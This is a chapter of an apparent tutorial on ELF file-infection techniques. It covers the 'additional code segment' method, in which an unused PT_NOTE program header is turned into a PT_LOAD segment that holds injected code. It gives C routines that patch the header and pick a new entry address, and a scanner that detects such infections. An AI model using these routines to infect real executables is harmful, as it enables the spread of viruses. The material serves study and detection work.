8. Additional code segments

 

It is common sense to take a method and try it. If it fails, admit it frankly and try another. But above all, try something.

 Franklin D. Roosevelt

This is the platform independent part of Additional code segments[ABC].

Adding a second code segment to an executable is a very simple infection method. Doing that by overwriting an otherwise unused program header makes the method even simpler. Another nice aspect is that it imposes no size limit on inserted code. Unfortunately the infection is trivial to detect. Too trivial, in fact. target_get_seg will bitterly complain about about three LOAD segments instead of two, so all scanners based on the framework will detect it. But then even the untrained eye can spot the difference in the output of readelf.

8.1. The NOTE program header

The ELF header includes a field called e_machine, a single integer value. It distinguishes different hardware, but not different operating systems. For example, mechanics of system calls differ between Linux/i386 and FreeBSD/i386. To describe these fine details a separate program header of type PT_NOTE is used. NetBSD documentation includes a good description in chapter "Vendor-specific ELF Note Elements". [1] And LSB has this to say: [2]

Every executable shall contain a section named .note.ABI-tag of type SHT_NOTE. This section is structured as a note section as documented in the ELF spec. The section must contain at least the following entry. The name field (namesz/name) contains the string "GNU". The type field shall be 1. The descsz field shall be at least 16, and the first 16 bytes of the desc field shall be as follows.

The first 32-bit word of the desc field must be 0 (this signifies a Linux executable). The second, third, and fourth 32-bit words of the desc field contain the earliest compatible kernel version. For example, if the 3 words are 2, 2, and 5, this signifies a 2.2.5 kernel.

If this section is missing then the ELF loader assumes a plain native executable. On heterogeneous systems removal of this data should not be problem. Of course such modified programs will not work if they are moved to a different system. For example netscape is not available for FreeBSD/i386; instead people run the binary for Linux/i386 with a light-weight system call emulator. An infected instance of /usr/bin/netscape that is fully functional on Linux/i386 will not work on FreeBSD/i386.

But then above documentation talks only about section SHT_NOTE and complete ignores the program header covering the same range of bytes. It could well be that this infection method has no noticeable effect.

On Solaris only a handful of executables feature a program header of type PT_NOTE. And while there is a section of type SHT_NOTE that covers this region of bytes, it is called .note, not .note.ABI-tag. Even stranger is bash 2.03-6 on sparc-debian2.2-linux, it has both sections.
readelf -S /bin/sh | grep -i NOTE
  [ 2] .note.ABI-tag     NOTE            00010108 000108 000020 00   A   0   0 4
  [23] .note             NOTE            0009e7d8 07c56f 000974 00       0   0 1

8.2. Scanning for NOTE

The actual work is done by target_get_seg. The scanner just checks the result and determines minimum and maximum size of found segments.

Source: src/scanner/additional_cs/action.inc
bool target_action(Target* t, int stat[])
{
  TEVWH_ELF_PHDR* phdr_note;
  Elf32_Word filesz;

  TRACE_DEBUG(-1, "target_action\n");

  phdr_note = t->phdr_note;
  CHECK_BEGIN(SCAN, phdr_note, !=, 0, -1, void*)
    return false;
  CHECK_END

  filesz = phdr_note->p_filesz;
  /* counters were initialized to zero, real minimum is probably higher */
  if (stat[2] == 0 || filesz < stat[2])
    stat[2] = filesz; /* minimum */
  if (filesz > stat[3])
    stat[3] = filesz; /* maximum */

  TRACE_SCAN(-1, "%s ... p_filesz=%u Ok\n", t->clean_src, filesz);
  return true;
}

Source: src/scanner/additional_cs/print_summary.inc
int print_summary(int stat[])
{
  print_errno(-1, "files=%d; ok=%d; detected=%d; min=%d; max=%d\n",
    stat[0], stat[1], stat[0] - stat[1], stat[2], stat[3]
  );
  return 0;
}

8.3. A simple plan

8.4. target_patch_phdr #2

After target_get_seg set t->phdr_note to the correct program header this function is straightforward. Double infection is again impossible by design. If there is no PT_NOTE this target is out of reach.

Source: src/additional_cs/patch_phdr.inc
bool target_patch_phdr(Target* t)
{
  TEVWH_ELF_PHDR* note;

  TRACE_DEBUG(-1, "target_patch_phdr\n");

  note = t->phdr_note;
  CHECK_BEGIN(SCAN, note, !=, 0, -1, void*)
    return false;
  CHECK_END
  CHECK(INFECT, note->p_type, ==, PT_NOTE);

  note->p_type = PT_LOAD;
  note->p_offset = t->aligned_filesize;
  note->p_vaddr =
  note->p_paddr = target_new_entry_addr(t);
  TRACE_DEBUG(-1, "new_entry_addr=%p\n", note->p_paddr);
  note->p_filesz =
  note->p_memsz = sizeof(infection);
  note->p_flags = t->phdr_code->p_flags;
  note->p_align = t->phdr_code->p_align;
  return true;
}

8.5. target_new_entry_addr #2

We can use any memory region not already occupied. Using one below the magic base of TEVWH_ELF_BASE avoids trouble. The room to maneuver is limited, though. See Segment padding infection for the column "Pages below base" and an explanation of "% TEVWH_ELF_PAGE_SIZE".

Source: src/additional_cs/new_entry_addr.inc
TEVWH_ELF_OFF target_new_entry_addr(const Target* t)
{
  return TEVWH_ELF_BASE - 2 * TEVWH_ELF_PAGE_SIZE
    + t->aligned_filesize % TEVWH_ELF_PAGE_SIZE;
}

8.6. target_patch_shdr #2

Not implemented. To cover the bytes of the new LOAD segment with a section we would have to insert a new one in the array of section headers. Right now I'm not in the mood to invest so much time in a hopeless case.

8.7. copy_and_infect #2

Notes

[1]

http://www.netbsd.org/Documentation/kernel/elf-notes.html

[2]

http://www.linuxbase.org/spec/gLSB/gLSB/noteabitag.html